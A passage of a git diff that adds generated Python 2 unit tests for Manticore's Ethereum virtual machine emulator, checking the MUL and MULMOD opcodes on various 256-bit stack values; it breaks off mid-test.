+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MUL_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639168L])
+
+    def test_MUL_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820688L])
+
+    def test_MUL_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MUL_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MUL_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2304L])
+
+    def test_MUL_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MUL_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921024L])
+
+    def test_MUL_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MUL_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008590474410781257804426985050609831806602734137344L])
+
+    def test_MUL_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [91343852333181432387730302044767688728495783680L])
+
+    def test_MUL_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MUL_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MUL_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MUL_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [108587248129216521041659901496828357798423901649189515989682796306847468945408L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMMULMOD.py b/tests/EVM/test_EVMMULMOD.py
new file mode 100644
index 0000000..75001ad
--- /dev/null
+++ b/tests/EVM/test_EVMMULMOD.py
@@ -0,0 +1,21179 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_MULMOD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_MULMOD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(16)
